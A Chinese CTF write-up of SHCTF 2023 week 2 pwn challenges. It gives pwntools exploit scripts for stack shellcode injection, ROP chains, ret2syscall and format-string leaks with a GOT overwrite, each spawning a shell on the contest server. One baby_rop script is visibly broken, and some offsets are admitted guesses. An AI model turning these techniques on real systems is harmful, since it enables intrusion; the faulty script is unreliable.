LOADING

加载过慢请开启缓存 浏览器默认开启

SHCTF 2023 [WEEK 2] PWN

2023/11/1 CTF PWN SHCTF

SHCTF 2023 [WEEK 2] PWN

简介

第二周对比第一周难度提高了些,开始要熟悉做 PWN 的技巧手法了。


easy_shellcode

  • 保护机制:保护全关,栈可执行
  • 利用思路:利用 buf 泄露栈地址,将 shellcode 写入栈,执行 shellcode 获取 shell

查看一下保护机制,保护全关,加上又是shellcode的,栈可执行,所以可以把shellcode写入栈里

ida反汇编一下,发现可以通过buf这里泄露出栈地址(因为没有打开NX保护,栈是可执行的,要想办法把shellcode写入栈上在执行)

gdb调试下,你就会发现只需要输入0x10个字节,就可以泄露出栈地址(rbp地址),然后距离栈顶的距离为0x80,可以利用这个地址,将shellcode写入,就可以执行shell了

exp如下:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

#p = process('./111')
p = remote('112.6.51.212', 30735)

payload = b'A'*0x10
p.recvuntil(b"What's your name?\n")
p.send(payload)

p.recvuntil(b'A'*0x10)
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x80

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x78, b'\x00') + p64(stack)

p.recvuntil(b'please input your strong\n')
p.send(payload)
p.interactive()

baby_rop

  • 保护机制:32 位,开启 canary 和 NX,静态链接
  • 利用方法一:ROPgadget 构造 payload

查看一下保护机制,32位程序打开了canary 和NX,并且还是静态链接

用ROPgadget --ropchain来获取rop链再缩短点,exp如下:

from pwn import *
from struct import pack
context(os='linux', arch='i386', log_level='debug')

#io =process('./simplerop32')
io =remote('112.6.51.212',30779)
elf =ELF('./111')

# Padding goes here
p = b''

p += pack('<I', 0x0804993d) # pop edx ; ret
p += pack('<I', 0x080e4e80) # @ .data
p += pack('<I', 0x080aa06a) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080537da) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0804993d) # pop edx ; ret
p += pack('<I', 0x080e4e84) # @ .data + 4
p += pack('<I', 0x080aa06a) # pop eax ; ret
p += b'/sh\x00'
p += pack('<I', 0x080537da) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x0804901e) # pop ebx ; ret
p += pack('<I', 0x080e4e80) # @ .data
p += pack('<I', 0x0804993f) # pop ecx ; ret
p += pack('<I', 0x080e4e88) # @ .data + 8
p += pack('<I', 0x0804993d) # pop edx ; ret
p += pack('<I', 0x080e4e88) # @ .data + 8

p += pack('<I', 0x080aa06a) # pop eax ; ret
p += p32(11)
p += pack('<I', 0x08049b62) # int 0x80

io =b'a'*0x20 + p

io.send(payload)
io.interactive()
  • 利用方法二:ret2syscall

还可以用ret2sycall的方法来解决,exp如下:

from pwn import *
from struct import pack
context(os='linux', arch='amd64', log_level='debug')

#p =process('./111')
p =remote('112.6.51.212',30984)
elf =ELF('./111')


read =0x805CAF0
edx_ecx_ebx =0x8049941
eax =0x80aa06a
int_80 =0x8049b62
bss =0x80e5000 #整百就行

payload =b'A'*(0x1c +4)
payload +=p32(read)
payload +=p32(edx_ecx_ebx) +p32(0) +p32(bss) +p32(0x8)
payload +=p32(edx_ecx_ebx) +p32(0) +p32(0) +p32(bss)
payload +=p32(eax) +p32(11)
payload +=p32(int_80)

p.send(payload)
p.sendline(b'/bin/sh\x00')

p.interactive()

baby_rop2

  • 保护机制:64 位,开启 canary 和 NX,静态链接
  • 利用方式:ROPgadget 构造 ROP 链

查看一下保护机制,64位程序打开canary和NX,并且还是静态链接程序,和上一次挺像的

ida反汇编一下,简简单单的一个栈溢出漏洞,唯一烦的就是该怎么构造rop执行流

一样可以用ROPgadget来构造rop执行流,唯一不好的地方就是有长度限制,需要自己删减

from pwn import *
from struct import pack
context(os='linux', arch='amd64', log_level='debug')

#io =process('./111')
io =remote('112.6.51.212',30992)
elf =ELF('./111')

# Padding goes here
p = b''

p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x0000000000419a1c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000417e25) # xor rax, rax ; ret
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401d1d) # pop rdi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000401858) # pop rdx ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000419a1c) # pop rax ; ret
p += p64(59)
p += pack('<Q', 0x0000000000401243) # syscall

payload =b'a'*0x28 + p

io.send(payload)
io.interactive()

string

  • 保护机制:全关
  • 漏洞类型:格式化字符串漏洞
  • 思路:泄露 libc,修改 printf GOT 表为 system,执行 /bin/sh

查看一下保护机制,保护全关

ida反汇编一下,代码审计你会发现出现了格式字符串漏洞,并且在提示 "Input your message:" 的时候,你输入的数据会被 printf 打印出来,这个时候是不是可以把/bin/sh写进去,然后把 printf 修改成 system ,这样是不是就可以获得shell了,前提就得先泄露libc,得到system

首先,先得到程序的偏移为6,然后就是去gdb调试,找到合适的地址去泄露libc

我算到的偏移是0x29d90,不是0x24083,啊啊啊啊怎么算到的啊(有没有师傅浇浇啊T^T)

有些东西不好理解,也不知道怎么来的,其他大佬的wp,都是默认大家都知道,都不解释的,学的好累啊啊啊啊 T^T

exp如下:

from pwn import *
context(os="linux", arch="amd64", log_level="debug")

#p = process('./pwn')
p = remote('112.6.51.212',31318)
elf = ELF('./111')
libc = ELF('./libc.so.6')

printf_got = elf.got['printf']

payload =b'%43$p'

p.sendlineafter(b"Input your choice:\n",b'1')
p.sendlineafter(b"Input your message:\n",payload)

libc_base =int(p.recv(14), 16) - 243 - libc.sym['__libc_start_main'] #0x24083
system = libc_base +libc.sym['system']

payload =fmtstr_payload(6, {printf_got: system})

p.sendlineafter(b"Input your choice:\n",b'1')
p.sendlineafter(b"Input your message:\n",payload)

p.sendlineafter(b"Input your choice:\n", b'/bin/sh\x00')
p.sendlineafter(b"Input your choice:\n", b'1')

p.interactive()

原始人,起动

  • 保护机制:仅开启 NX
  • 备注:逻辑略绕,需进一步分析

查看一下保护机制,只打开了NX

ida反汇编,代码审计一下,有点难理清里面的逻辑-_-,有点小绕啊啊啊啊,受不了


要买些东西吗

  • 保护机制:32 位,开启 canary 和 NX
  • 漏洞类型:格式化字符串漏洞
  • 利用思路:格式化字符串泄露 canary 与 libc,通过偏移构造 rop 链,调用 system

查看一下保护机制,32位程序打开了canary和NX

ida反汇编,代码审计发现程序出现了格式字符串漏洞,再加上有canary,所以应该是通过格式字符串来泄露canary,下面看看偏移是多少

运行程序,发现偏移为7,接下来就是gdb调试,去看看canary是第几个参数(如下图,发现canary在第15个参数),并且可以通过第19个参数来泄露libc,来构造rop链

泄露libc的这个偏移还是没有算到,啊啊啊啊,有知道的师傅浇浇(球球了T^T)

exp如下:

from pwn import *
context(os="linux", arch="i386", log_level="debug")

#p = process('./111')
p = remote('112.6.51.212',31224)
elf = ELF('./111')
libc = ELF('./libc.so.6')

ret =0x804900e
bin_sh =0x804A03F

payload =b'%15$p.%19$p'

p.sendlineafter(b"Your choice:\n", b'1')
p.sendlineafter(b'and you can get a gift\n',payload)

canary = int(p.recv(10), 16)
p.recvuntil(b'0x')
libc_base =int(p.recv(8), 16) - 245 - libc.sym['__libc_start_main'] #0x1aee5


system =libc_base +libc.sym['system']
#bin_sh =libc_base + next(libc.search(b'/bin/sh\x00'))

payload =b'A'*0x20 +p32(canary) +p32(0) +p32(0) +p32(0) +p32(ret) +p32(system) +p32(0) +p32(bin_sh)

p.sendlineafter(b"Your choice:\n", b'2')
p.sendafter(b"and you can get the power\n",payload)

p.interactive()

总结

这周题目确实上档次了,有些点不太好理解,其他大佬的 WP 很多都跳步不解释,需要自己多练题、多调试、多总结,加油加油!!!

⬅ 上一篇
PWN PWN PWN !!! 技巧 (5)
2023-11-02  |  | PWN
下一篇 ➡
SHCTF 2023 [WEEK 1] PWN
2023-10-31  |  | PWN, SHCTF
0%
Rope Head